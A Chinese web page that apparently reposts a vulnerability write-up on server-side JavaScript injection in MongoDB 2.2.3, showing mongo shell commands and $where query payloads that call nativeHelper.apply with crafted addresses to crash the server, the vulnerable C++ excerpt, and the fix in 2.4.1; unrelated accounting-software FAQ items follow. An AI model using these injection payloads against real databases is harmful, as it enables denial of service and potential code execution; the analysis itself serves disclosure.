MongoDB服务器端的javascript注入及修复方案
2016-1-14 0:0:0 wondialMongoDB服务器端的javascript注入及修复方案
MongoDB服务器端的javascript注入及修复方案安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞,并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey javascript的NativeHelper函数,导致可以注入代码或缓冲区溢出执行任意代码。
以下为研究者带来的一些分析。
首先在MongoDB中尝试一些服务器端的javascript注入,尝试运行一个shell。
> run("uname","-a")Sun Mar 25 07:09:49 shell: started programsh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux0
以下这个命令只能在mongo客户端才有效
> db.my_collection.find({where:"run('ls')"})error: { "err" : "error on invocation of where function:\nJS Error: ReferenceError: run is not defined nofile_a:0", "code" : 10071}
研究者继续深入尝试
> runfunction () { return nativeHelper.apply(run_, arguments);}
运行<run>函数,在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ,返回信息提示nativeHelper.apply方法存在。
> db.my_collection.find({where:'nativeHelper.apply(run_, ["uname","-a"]);'})error: {"err" : "error on invocation of where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0","code" : 10071}
将一个关联数组用到服务器端
> db.my_collection.find({where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})Sun Mar 25 07:15:26 DBClientCursor::init call() failedSun Mar 25 07:15:26 query failed : sthack.my_collection { where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017Error: error doing query: failedSun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
结果显示:The server crashed \o/ ! (崩溃)
查看看一下其源代码
路径:./src/mongo/scripting/engine_spidermonkey.cpp
JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) { try { Convertor c(cx); NativeFunction func = reinterpret_cast( static_cast( c.getNumber( obj , "x" ) ) ); void* data = reinterpret_cast<void*>( static_cast( c.getNumber( obj , "y" ) ) ); verify( func ); BSONObj a; if ( argc > 0 ) { BSONObjBuilder args; for ( uintN i = 0; i < argc; ++i ) { c.append( args , args.numStr( i ) , argv[i] ); } a = args.obj(); } BSONObj out; try { out = func( a, data ); } catch ( std::exception& e ) {
原函数的功能会从”x” : 135246144调用至javascript对象不带任何检查。
> db.my_collection.find({where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).
MongoDB已发布最新版本2.4.1修复了该漏洞,下载地址
如果您的问题还没有解决,可以到 T+搜索>>上找一下答案
相关阅读
- 用友T3用友通系统重装后,没有账套备份,如何恢复账套2019-4-29 8:0:0
- 明细账权限设置时提示“没有操作员”?2019-4-29 8:0:0
- 用友T3-用友通如何进行凭证的赤字控制2019-4-23 8:0:0
- 用友T3-用友通如何调整工资发放签名表工资项目显示顺序2019-4-23 8:0:0
- 用友T3-用友通如何设置财务报表中的年月日2019-4-23 8:0:0
- 用友T3-用友通如何设置未记账凭证的报表公式_02019-4-23 8:0:0
- 用友T3-用友通如何设置未记账凭证的报表公式2019-4-23 8:0:0
- 用友T3-用友通如何设置对客户的信用进行控制2019-4-23 8:0:0
- 用友T3-用友通如何补录现金流量?2019-4-23 8:0:0
- 用友T3-用友通如何核销银行账2019-4-23 8:0:0
最新信息
![T+的安装环境是什么?数据库可以是SQL2005吗?操作系统哪个版本最稳定?](http://yun.kuaiji66.com/zb_users/plugin/MiniTu/noimg.png)
T+的安装环境是什么?数据库可以是SQL2005吗?操作系统哪个版本最稳定? T+的安装环境是什么?数据库可以是SQL2005吗?操作系统哪个版本最稳定?[]
推荐的稳定环境是
2008R2 OS,
2008R2 SQL。@畅捷支持侯椿寳:谢谢
![U8.50增加会计科目时提示-共享-冲突](http://yun.kuaiji66.com/zb_users/plugin/MiniTu/noimg.png)
U8.50增加会计科目时提示-共享-冲突U8.50增加会计科目时提示"共享"冲突
U8.50-增加会计科目时提示"共享"冲突
自动编号: | 12683 | 产品版本: | U8.50 |
产品模块: | 总账 | 所属行业: | 通用 |
适用产品: | 85X | 关 键 字: | 共享冲突 |
问题名称: | 增加会计科目时提示"共享"冲突 | ||
问题现象: | 增加会计科目时提示"共享"冲突,之后形成站点锁定 | ||
原因分析: | 操作员从EXCEL表中复制会计科目编码到用友增加科目,把空格也粘贴过去了,造成科目编码出现非法字符 | ||
解决方案: | 去除空格即可 温馨提示:如果您的问题还没有解决,欢迎进入用友云基地。 |